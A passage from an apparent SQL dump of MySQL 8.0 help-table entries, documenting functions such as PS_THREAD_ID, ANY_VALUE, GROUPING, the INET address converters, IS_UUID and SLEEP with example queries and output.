PS_THREAD_ID(CONNECTION_ID());\n+-------------------------------+\n| PS_THREAD_ID(CONNECTION_ID()) |\n+-------------------------------+\n| 52 |\n+-------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/performance-schema-functions.html'),(455,'PS_THREAD_ID',37,'PS_THREAD_ID(connection_id)\n\nGiven a connection ID, returns a BIGINT UNSIGNED value representing the\nPerformance Schema thread ID assigned to the connection ID, or NULL if\nno thread ID exists for the connection ID. The latter can occur for\nthreads that are not instrumented, or if connection_id is NULL.\n\nThe connection ID argument is a value of the type given in the\nPROCESSLIST_ID column of the Performance Schema threads table or the Id\ncolumn of SHOW PROCESSLIST output.\n\nThe thread ID return value is a value of the type given in the\nTHREAD_ID column of Performance Schema tables.\n\nPerformance Schema configuration affects PS_THREAD_ID() operation as\nfollows. (These remarks also apply to PS_CURRENT_THREAD_ID().)\n\no Disabling the thread_instrumentation consumer disables statistics\n from being collected and aggregated at the thread level, but has no\n effect on PS_THREAD_ID().\n\no If performance_schema_max_thread_instances is not 0, the Performance\n Schema allocates memory for thread statistics and assigns an internal\n ID to each thread for which instance memory is available. If there\n are threads for which instance memory is not available,\n PS_THREAD_ID() returns NULL; in this case,\n Performance_schema_thread_instances_lost is nonzero.\n\no If performance_schema_max_thread_instances is 0, the Performance\n Schema allocates no thread memory and PS_THREAD_ID() returns NULL.\n\no If the Performance Schema itself is disabled, PS_THREAD_ID() produces\n an error.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/performance-schema-functions.html\n\n','mysql> SELECT PS_THREAD_ID(6);\n+-----------------+\n| PS_THREAD_ID(6) |\n+-----------------+\n| 45 |\n+-----------------+\n','https://dev.mysql.com/doc/refman/8.0/en/performance-schema-functions.html'),(456,'CAN_ACCESS_COLUMN',38,'CAN_ACCESS_COLUMN(ARGS)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html'),(457,'CAN_ACCESS_DATABASE',38,'CAN_ACCESS_DATABASE(ARGS)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html'),(458,'CAN_ACCESS_TABLE',38,'CAN_ACCESS_TABLE(ARGS)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html'),(459,'CAN_ACCESS_USER',38,'CAN_ACCESS_USER(ARGS)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html'),(460,'CAN_ACCESS_VIEW',38,'CAN_ACCESS_VIEW(ARGS)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html'),(461,'GET_DD_COLUMN_PRIVILEGES',38,'GET_DD_COLUMN_PRIVILEGES(ARGS)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html'),(462,'GET_DD_CREATE_OPTIONS',38,'GET_DD_CREATE_OPTIONS(ARGS)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html'),(463,'GET_DD_INDEX_SUB_PART_LENGTH',38,'GET_DD_INDEX_SUB_PART_LENGTH(ARGS)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html'),(464,'INTERNAL_AUTO_INCREMENT',38,'INTERNAL_AUTO_INCREMENT(ARGS)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html'),(465,'INTERNAL_AVG_ROW_LENGTH',38,'INTERNAL_AVG_ROW_LENGTH(ARGS)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html'),(466,'INTERNAL_CHECK_TIME',38,'INTERNAL_CHECK_TIME(ARGS)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html'),(467,'INTERNAL_CHECKSUM',38,'INTERNAL_CHECKSUM(ARGS)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html'),(468,'INTERNAL_DATA_FREE',38,'INTERNAL_DATA_FREE(ARGS)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html'),(469,'INTERNAL_DATA_LENGTH',38,'INTERNAL_DATA_LENGTH(ARGS)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html'),(470,'INTERNAL_DD_CHAR_LENGTH',38,'INTERNAL_DD_CHAR_LENGTH(ARGS)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html'),(471,'INTERNAL_GET_COMMENT_OR_ERROR',38,'INTERNAL_GET_COMMENT_OR_ERROR(ARGS)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html'),(472,'INTERNAL_GET_ENABLED_ROLE_JSON',38,'INTERNAL_GET_ENABLED_ROLE_JSON(ARGS)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html'),(473,'INTERNAL_GET_HOSTNAME',38,'INTERNAL_GET_HOSTNAME(ARGS)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html'),(474,'INTERNAL_GET_USERNAME',38,'INTERNAL_GET_USERNAME(ARGS)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html'),(475,'INTERNAL_GET_VIEW_WARNING_OR_ERROR',38,'INTERNAL_GET_VIEW_WARNING_OR_ERROR(ARGS)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html'),(476,'INTERNAL_INDEX_COLUMN_CARDINALITY',38,'INTERNAL_INDEX_COLUMN_CARDINALITY(ARGS)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html'),(477,'INTERNAL_INDEX_LENGTH',38,'INTERNAL_INDEX_LENGTH(ARGS)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html'),(478,'INTERNAL_IS_ENABLED_ROLE',38,'INTERNAL_IS_ENABLED_ROLE(ARGS)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html'),(479,'INTERNAL_IS_MANDATORY_ROLE',38,'INTERNAL_IS_MANDATORY_ROLE(ARGS)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html'),(480,'INTERNAL_KEYS_DISABLED',38,'INTERNAL_KEYS_DISABLED(ARGS)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html'),(481,'INTERNAL_MAX_DATA_LENGTH',38,'INTERNAL_MAX_DATA_LENGTH(ARGS)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html'),(482,'INTERNAL_TABLE_ROWS',38,'INTERNAL_TABLE_ROWS(ARGS)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html'),(483,'INTERNAL_UPDATE_TIME',38,'INTERNAL_UPDATE_TIME(ARGS)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html'),(484,'IS_VISIBLE_DD_OBJECT',38,'IS_VISIBLE_DD_OBJECT(ARGS)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/internal-functions.html'),(485,'ANY_VALUE',39,'ANY_VALUE(arg)\n\nThis function is useful for GROUP BY queries when the\nONLY_FULL_GROUP_BY SQL mode is enabled, for cases when MySQL rejects a\nquery that you know is valid for reasons that MySQL cannot determine.\nThe function return value and type are the same as the return value and\ntype of its argument, but the function result is not checked for the\nONLY_FULL_GROUP_BY SQL mode.\n\nFor example, if name is a nonindexed column, the following query fails\nwith ONLY_FULL_GROUP_BY enabled:\n\nmysql> SELECT name, address, MAX(age) FROM t GROUP BY name;\nERROR 1055 (42000): Expression #2 of SELECT list is not in GROUP\nBY clause and contains nonaggregated column \'mydb.t.address\' which\nis not functionally dependent on columns in GROUP BY clause; this\nis incompatible with sql_mode=only_full_group_by\n\nThe failure occurs because address is a nonaggregated column that is\nneither named among GROUP BY columns nor functionally dependent on\nthem. As a result, the address value for rows within each name group is\nnondeterministic. There are multiple ways to cause MySQL to accept the\nquery:\n\no Alter the table to make name a primary key or a unique NOT NULL\n column. This enables MySQL to determine that address is functionally\n dependent on name; that is, address is uniquely determined by name.\n (This technique is inapplicable if NULL must be permitted as a valid\n name value.)\n\no Use ANY_VALUE() to refer to address:\n\nSELECT name, ANY_VALUE(address), MAX(age) FROM t GROUP BY name;\n\n In this case, MySQL ignores the nondeterminism of address values\n within each name group and accepts the query. This may be useful if\n you simply do not care which value of a nonaggregated column is\n chosen for each group. ANY_VALUE() is not an aggregate function,\n unlike functions such as SUM() or COUNT(). It simply acts to suppress\n the test for nondeterminism.\n\no Disable ONLY_FULL_GROUP_BY. This is equivalent to using ANY_VALUE()\n with ONLY_FULL_GROUP_BY enabled, as described in the previous item.\n\nANY_VALUE() is also useful if functional dependence exists between\ncolumns but MySQL cannot determine it. The following query is valid\nbecause age is functionally dependent on the grouping column age-1, but\nMySQL cannot tell that and rejects the query with ONLY_FULL_GROUP_BY\nenabled:\n\nSELECT age FROM t GROUP BY age-1;\n\nTo cause MySQL to accept the query, use ANY_VALUE():\n\nSELECT ANY_VALUE(age) FROM t GROUP BY age-1;\n\nANY_VALUE() can be used for queries that refer to aggregate functions\nin the absence of a GROUP BY clause:\n\nmysql> SELECT name, MAX(age) FROM t;\nERROR 1140 (42000): In aggregated query without GROUP BY, expression\n#1 of SELECT list contains nonaggregated column \'mydb.t.name\'; this\nis incompatible with sql_mode=only_full_group_by\n\nWithout GROUP BY, there is a single group and it is nondeterministic\nwhich name value to choose for the group. ANY_VALUE() tells MySQL to\naccept the query:\n\nSELECT ANY_VALUE(name), MAX(age) FROM t;\n\nIt may be that, due to some property of a given data set, you know that\na selected nonaggregated column is effectively functionally dependent\non a GROUP BY column. For example, an application may enforce\nuniqueness of one column with respect to another. In this case, using\nANY_VALUE() for the effectively functionally dependent column may make\nsense.\n\nFor additional discussion, see\nhttps://dev.mysql.com/doc/refman/8.0/en/group-by-handling.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html'),(486,'BIN_TO_UUID',39,'BIN_TO_UUID(binary_uuid), BIN_TO_UUID(binary_uuid, swap_flag)\n\nBIN_TO_UUID() is the inverse of UUID_TO_BIN(). It converts a binary\nUUID to a string UUID and returns the result. The binary value should\nbe a UUID as a VARBINARY(16) value. The return value is a string of\nfive hexadecimal numbers separated by dashes. (For details about this\nformat, see the UUID() function description.) If the UUID argument is\nNULL, the return value is NULL. If any argument is invalid, an error\noccurs.\n\nBIN_TO_UUID() takes one or two arguments:\n\no The one-argument form takes a binary UUID value. The UUID value is\n assumed not to have its time-low and time-high parts swapped. The\n string result is in the same order as the binary argument.\n\no The two-argument form takes a binary UUID value and a swap-flag\n value:\n\n o If swap_flag is 0, the two-argument form is equivalent to the\n one-argument form. The string result is in the same order as the\n binary argument.\n\n o If swap_flag is 1, the UUID value is assumed to have its time-low\n and time-high parts swapped. These parts are swapped back to their\n original position in the result value.\n\nFor usage examples and information about time-part swapping, see the\nUUID_TO_BIN() function description.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html'),(487,'DEFAULT',39,'Syntax:\nDEFAULT(col_name)\n\nReturns the default value for a table column. An error results if the\ncolumn has no default value.\n\nThe use of DEFAULT(col_name) to specify the default value for a named\ncolumn is permitted only for columns that have a literal default value,\nnot for columns that have an expression default value.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html\n\n','mysql> UPDATE t SET i = DEFAULT(i)+1 WHERE id < 100;\n','https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html'),(488,'GROUPING',39,'GROUPING(expr [, expr] ...)\n\nFor GROUP BY queries that include a WITH ROLLUP modifier, the ROLLUP\noperation produces super-aggregate output rows where NULL represents\nthe set of all values. The GROUPING() function enables you to\ndistinguish NULL values for super-aggregate rows from NULL values in\nregular grouped rows.\n\nGROUPING() is permitted in the select list, HAVING clause, and (as of\nMySQL 8.0.12) ORDER BY clause.\n\nEach argument to GROUPING() must be an expression that exactly matches\nan expression in the GROUP BY clause. The expression cannot be a\npositional specifier. For each expression, GROUPING() produces 1 if the\nexpression value in the current row is a NULL representing a\nsuper-aggregate value. Otherwise, GROUPING() produces 0, indicating\nthat the expression value is a NULL for a regular result row or is not\nNULL.\n\nSuppose that table t1 contains these rows, where NULL indicates\nsomething like \"other\" or \"unknown\":\n\nmysql> SELECT * FROM t1;\n+------+-------+----------+\n| name | size | quantity |\n+------+-------+----------+\n| ball | small | 10 |\n| ball | large | 20 |\n| ball | NULL | 5 |\n| hoop | small | 15 |\n| hoop | large | 5 |\n| hoop | NULL | 3 |\n+------+-------+----------+\n\nA summary of the table without WITH ROLLUP looks like this:\n\nmysql> SELECT name, size, SUM(quantity) AS quantity\n FROM t1\n GROUP BY name, size;\n+------+-------+----------+\n| name | size | quantity |\n+------+-------+----------+\n| ball | small | 10 |\n| ball | large | 20 |\n| ball | NULL | 5 |\n| hoop | small | 15 |\n| hoop | large | 5 |\n| hoop | NULL | 3 |\n+------+-------+----------+\n\nThe result contains NULL values, but those do not represent\nsuper-aggregate rows because the query does not include WITH ROLLUP.\n\nAdding WITH ROLLUP produces super-aggregate summary rows containing\nadditional NULL values. However, without comparing this result to the\nprevious one, it is not easy to see which NULL values occur in\nsuper-aggregate rows and which occur in regular grouped rows:\n\nmysql> SELECT name, size, SUM(quantity) AS quantity\n FROM t1\n GROUP BY name, size WITH ROLLUP;\n+------+-------+----------+\n| name | size | quantity |\n+------+-------+----------+\n| ball | NULL | 5 |\n| ball | large | 20 |\n| ball | small | 10 |\n| ball | NULL | 35 |\n| hoop | NULL | 3 |\n| hoop | large | 5 |\n| hoop | small | 15 |\n| hoop | NULL | 23 |\n| NULL | NULL | 58 |\n+------+-------+----------+\n\nTo distinguish NULL values in super-aggregate rows from those in\nregular grouped rows, use GROUPING(), which returns 1 only for\nsuper-aggregate NULL values:\n\nmysql> SELECT\n name, size, SUM(quantity) AS quantity,\n GROUPING(name) AS grp_name,\n GROUPING(size) AS grp_size\n FROM t1\n GROUP BY name, size WITH ROLLUP;\n+------+-------+----------+----------+----------+\n| name | size | quantity | grp_name | grp_size |\n+------+-------+----------+----------+----------+\n| ball | NULL | 5 | 0 | 0 |\n| ball | large | 20 | 0 | 0 |\n| ball | small | 10 | 0 | 0 |\n| ball | NULL | 35 | 0 | 1 |\n| hoop | NULL | 3 | 0 | 0 |\n| hoop | large | 5 | 0 | 0 |\n| hoop | small | 15 | 0 | 0 |\n| hoop | NULL | 23 | 0 | 1 |\n| NULL | NULL | 58 | 1 | 1 |\n+------+-------+----------+----------+----------+\n\nCommon uses for GROUPING():\n\no Substitute a label for super-aggregate NULL values:\n\nmysql> SELECT\n IF(GROUPING(name) = 1, \'All items\', name) AS name,\n IF(GROUPING(size) = 1, \'All sizes\', size) AS size,\n SUM(quantity) AS quantity\n FROM t1\n GROUP BY name, size WITH ROLLUP;\n+-----------+-----------+----------+\n| name | size | quantity |\n+-----------+-----------+----------+\n| ball | NULL | 5 |\n| ball | large | 20 |\n| ball | small | 10 |\n| ball | All sizes | 35 |\n| hoop | NULL | 3 |\n| hoop | large | 5 |\n| hoop | small | 15 |\n| hoop | All sizes | 23 |\n| All items | All sizes | 58 |\n+-----------+-----------+----------+\n\no Return only super-aggregate lines by filtering out the regular\n grouped lines:\n\nmysql> SELECT name, size, SUM(quantity) AS quantity\n FROM t1\n GROUP BY name, size WITH ROLLUP\n HAVING GROUPING(name) = 1 OR GROUPING(size) = 1;\n+------+------+----------+\n| name | size | quantity |\n+------+------+----------+\n| ball | NULL | 35 |\n| hoop | NULL | 23 |\n| NULL | NULL | 58 |\n+------+------+----------+\n\nGROUPING() permits multiple expression arguments. In this case, the\nGROUPING() return value represents a bitmask combined from the results\nfor each expression, where the lowest-order bit corresponds to the\nresult for the rightmost expression. For example, with three expression\narguments, GROUPING(expr1, expr2, expr3) is evaluated like this:\n\n result for GROUPING(expr3)\n+ result for GROUPING(expr2) << 1\n+ result for GROUPING(expr1) << 2\n\nThe following query shows how GROUPING() results for single arguments\ncombine for a multiple-argument call to produce a bitmask value:\n\nmysql> SELECT\n name, size, SUM(quantity) AS quantity,\n GROUPING(name) AS grp_name,\n GROUPING(size) AS grp_size,\n GROUPING(name, size) AS grp_all\n FROM t1\n GROUP BY name, size WITH ROLLUP;\n+------+-------+----------+----------+----------+---------+\n| name | size | quantity | grp_name | grp_size | grp_all |\n+------+-------+----------+----------+----------+---------+\n| ball | NULL | 5 | 0 | 0 | 0 |\n| ball | large | 20 | 0 | 0 | 0 |\n| ball | small | 10 | 0 | 0 | 0 |\n| ball | NULL | 35 | 0 | 1 | 1 |\n| hoop | NULL | 3 | 0 | 0 | 0 |\n| hoop | large | 5 | 0 | 0 | 0 |\n| hoop | small | 15 | 0 | 0 | 0 |\n| hoop | NULL | 23 | 0 | 1 | 1 |\n| NULL | NULL | 58 | 1 | 1 | 3 |\n+------+-------+----------+----------+----------+---------+\n\nWith multiple expression arguments, the GROUPING() return value is\nnonzero if any expression represents a super-aggregate value.\nMultiple-argument GROUPING() syntax thus provides a simpler way to\nwrite the earlier query that returned only super-aggregate rows, by\nusing a single multiple-argument GROUPING() call rather than multiple\nsingle-argument calls:\n\nmysql> SELECT name, size, SUM(quantity) AS quantity\n FROM t1\n GROUP BY name, size WITH ROLLUP\n HAVING GROUPING(name, size) <> 0;\n+------+------+----------+\n| name | size | quantity |\n+------+------+----------+\n| ball | NULL | 35 |\n| hoop | NULL | 23 |\n| NULL | NULL | 58 |\n+------+------+----------+\n\nUse of GROUPING() is subject to these limitations:\n\no Do not use subquery GROUP BY expressions as GROUPING() arguments\n because matching might fail. For example, matching fails for this\n query:\n\nmysql> SELECT GROUPING((SELECT MAX(name) FROM t1))\n FROM t1\n GROUP BY (SELECT MAX(name) FROM t1) WITH ROLLUP;\nERROR 3580 (HY000): Argument #1 of GROUPING function is not in GROUP BY\n\no GROUP BY literal expressions should not be used within a HAVING\n clause as GROUPING() arguments. Due to differences between when the\n optimizer evaluates GROUP BY and HAVING, matching may succeed but\n GROUPING() evaluation does not produce the expected result. Consider\n this query:\n\nSELECT a AS f1, \'w\' AS f2\nFROM t\nGROUP BY f1, f2 WITH ROLLUP\nHAVING GROUPING(f2) = 1;\n\n GROUPING() is evaluated earlier for the literal constant expression\n than for the HAVING clause as a whole and returns 0. To check whether\n a query such as this is affected, use EXPLAIN and look for Impossible\n having in the Extra column.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html'),(489,'INET_ATON',39,'Syntax:\nINET_ATON(expr)\n\nGiven the dotted-quad representation of an IPv4 network address as a\nstring, returns an integer that represents the numeric value of the\naddress in network byte order (big endian). INET_ATON() returns NULL if\nit does not understand its argument, or if expr is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html\n\n','mysql> SELECT INET_ATON(\'10.0.5.9\');\n -> 167773449\n','https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html'),(490,'INET_NTOA',39,'Syntax:\nINET_NTOA(expr)\n\nGiven a numeric IPv4 network address in network byte order, returns the\ndotted-quad string representation of the address as a string in the\nconnection character set. INET_NTOA() returns NULL if it does not\nunderstand its argument.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html\n\n','mysql> SELECT INET_NTOA(167773449);\n -> \'10.0.5.9\'\n','https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html'),(491,'INET6_ATON',39,'Syntax:\nINET6_ATON(expr)\n\nGiven an IPv6 or IPv4 network address as a string, returns a binary\nstring that represents the numeric value of the address in network byte\norder (big endian). Because numeric-format IPv6 addresses require more\nbytes than the largest integer type, the representation returned by\nthis function has the VARBINARY data type: VARBINARY(16) for IPv6\naddresses and VARBINARY(4) for IPv4 addresses. If the argument is not a\nvalid address, or if it is NULL, INET6_ATON() returns NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html\n\n','mysql> SELECT HEX(INET6_ATON(\'fdfe::5a55:caff:fefa:9089\'));\n -> \'FDFE0000000000005A55CAFFFEFA9089\'\nmysql> SELECT HEX(INET6_ATON(\'10.0.5.9\'));\n -> \'0A000509\'\n','https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html'),(492,'INET6_NTOA',39,'Syntax:\nINET6_NTOA(expr)\n\nGiven an IPv6 or IPv4 network address represented in numeric form as a\nbinary string, returns the string representation of the address as a\nstring in the connection character set. If the argument is not a valid\naddress, or if it is NULL, INET6_NTOA() returns NULL.\n\nINET6_NTOA() has these properties:\n\no It does not use operating system functions to perform conversions,\n thus the output string is platform independent.\n\no The return string has a maximum length of 39 (4 x 8 + 7). Given this\n statement:\n\nCREATE TABLE t AS SELECT INET6_NTOA(expr) AS c1;\n\n The resulting table would have this definition:\n\nCREATE TABLE t (c1 VARCHAR(39) CHARACTER SET utf8mb3 DEFAULT NULL);\n\no The return string uses lowercase letters for IPv6 addresses.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html\n\n','mysql> SELECT INET6_NTOA(INET6_ATON(\'fdfe::5a55:caff:fefa:9089\'));\n -> \'fdfe::5a55:caff:fefa:9089\'\nmysql> SELECT INET6_NTOA(INET6_ATON(\'10.0.5.9\'));\n -> \'10.0.5.9\'\n\nmysql> SELECT INET6_NTOA(UNHEX(\'FDFE0000000000005A55CAFFFEFA9089\'));\n -> \'fdfe::5a55:caff:fefa:9089\'\nmysql> SELECT INET6_NTOA(UNHEX(\'0A000509\'));\n -> \'10.0.5.9\'\n','https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html'),(493,'IS_IPV4',39,'Syntax:\nIS_IPV4(expr)\n\nReturns 1 if the argument is a valid IPv4 address specified as a\nstring, 0 otherwise. Returns NULL if expr is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html\n\n','mysql> SELECT IS_IPV4(\'10.0.5.9\'), IS_IPV4(\'10.0.5.256\');\n -> 1, 0\n','https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html'),(494,'IS_IPV4_COMPAT',39,'Syntax:\nIS_IPV4_COMPAT(expr)\n\nThis function takes an IPv6 address represented in numeric form as a\nbinary string, as returned by INET6_ATON(). It returns 1 if the\nargument is a valid IPv4-compatible IPv6 address, 0 otherwise (unless\nexpr is NULL, in which case the function returns NULL). IPv4-compatible\naddresses have the form ::ipv4_address.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html\n\n','mysql> SELECT IS_IPV4_COMPAT(INET6_ATON(\'::10.0.5.9\'));\n -> 1\nmysql> SELECT IS_IPV4_COMPAT(INET6_ATON(\'::ffff:10.0.5.9\'));\n -> 0\n','https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html'),(495,'IS_IPV4_MAPPED',39,'Syntax:\nIS_IPV4_MAPPED(expr)\n\nThis function takes an IPv6 address represented in numeric form as a\nbinary string, as returned by INET6_ATON(). It returns 1 if the\nargument is a valid IPv4-mapped IPv6 address, 0 otherwise, unless expr\nis NULL, in which case the function returns NULL. IPv4-mapped addresses\nhave the form ::ffff:ipv4_address.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html\n\n','mysql> SELECT IS_IPV4_MAPPED(INET6_ATON(\'::10.0.5.9\'));\n -> 0\nmysql> SELECT IS_IPV4_MAPPED(INET6_ATON(\'::ffff:10.0.5.9\'));\n -> 1\n','https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html'),(496,'IS_IPV6',39,'Syntax:\nIS_IPV6(expr)\n\nReturns 1 if the argument is a valid IPv6 address specified as a\nstring, 0 otherwise, unless expr is NULL, in which case the function\nreturns NULL. This function does not consider IPv4 addresses to be\nvalid IPv6 addresses.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html\n\n','mysql> SELECT IS_IPV6(\'10.0.5.9\'), IS_IPV6(\'::1\');\n -> 0, 1\n','https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html'),(497,'IS_UUID',39,'IS_UUID(string_uuid)\n\nReturns 1 if the argument is a valid string-format UUID, 0 if the\nargument is not a valid UUID, and NULL if the argument is NULL.\n\n\"Valid\" means that the value is in a format that can be parsed. That\nis, it has the correct length and contains only the permitted\ncharacters (hexadecimal digits in any lettercase and, optionally,\ndashes and curly braces). This format is most common:\n\naaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee\n\nThese other formats are also permitted:\n\naaaaaaaabbbbccccddddeeeeeeeeeeee\n{aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee}\n\nFor the meanings of fields within the value, see the UUID() function\ndescription.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html\n\n','mysql> SELECT IS_UUID(\'6ccd780c-baba-1026-9564-5b8c656024db\');\n+-------------------------------------------------+\n| IS_UUID(\'6ccd780c-baba-1026-9564-5b8c656024db\') |\n+-------------------------------------------------+\n| 1 |\n+-------------------------------------------------+\nmysql> SELECT IS_UUID(\'6CCD780C-BABA-1026-9564-5B8C656024DB\');\n+-------------------------------------------------+\n| IS_UUID(\'6CCD780C-BABA-1026-9564-5B8C656024DB\') |\n+-------------------------------------------------+\n| 1 |\n+-------------------------------------------------+\nmysql> SELECT IS_UUID(\'6ccd780cbaba102695645b8c656024db\');\n+---------------------------------------------+\n| IS_UUID(\'6ccd780cbaba102695645b8c656024db\') |\n+---------------------------------------------+\n| 1 |\n+---------------------------------------------+\nmysql> SELECT IS_UUID(\'{6ccd780c-baba-1026-9564-5b8c656024db}\');\n+---------------------------------------------------+\n| IS_UUID(\'{6ccd780c-baba-1026-9564-5b8c656024db}\') |\n+---------------------------------------------------+\n| 1 |\n+---------------------------------------------------+\nmysql> SELECT IS_UUID(\'6ccd780c-baba-1026-9564-5b8c6560\');\n+---------------------------------------------+\n| IS_UUID(\'6ccd780c-baba-1026-9564-5b8c6560\') |\n+---------------------------------------------+\n| 0 |\n+---------------------------------------------+\nmysql> SELECT IS_UUID(RAND());\n+-----------------+\n| IS_UUID(RAND()) |\n+-----------------+\n| 0 |\n+-----------------+\n','https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html'),(498,'NAME_CONST',39,'Syntax:\nNAME_CONST(name,value)\n\nReturns the given value. When used to produce a result set column,\nNAME_CONST() causes the column to have the given name. The arguments\nshould be constants.\n\nmysql> SELECT NAME_CONST(\'myname\', 14);\n+--------+\n| myname |\n+--------+\n| 14 |\n+--------+\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html'),(499,'SLEEP',39,'Syntax:\nSLEEP(duration)\n\nSleeps (pauses) for the number of seconds given by the duration\nargument, then returns 0. The duration may have a fractional part. If\nthe argument is NULL or negative, SLEEP() produces a warning, or an\nerror in strict SQL mode.\n\nWhen sleep returns normally (without interruption), it returns 0:\n\nmysql> SELECT SLEEP(1000);\n+-------------+\n| SLEEP(1000) |\n+-------------+\n| 0 |\n+-------------+\n\nWhen SLEEP() is the only thing invoked by a query that is interrupted,\nit returns 1 and the query itself returns no error. This is true\nwhether the query is killed or times out:\n\no This statement is interrupted using KILL QUERY from another session:\n\nmysql> SELECT SLEEP(1000);\n+-------------+\n| SLEEP(1000) |\n+-------------+\n| 1 |\n+-------------+\n\no This statement is interrupted by timing out:\n\nmysql> SELECT /*+ MAX_EXECUTION_TIME(1) */ SLEEP(1000);\n+-------------+\n| SLEEP(1000) |\n+-------------+\n| 1 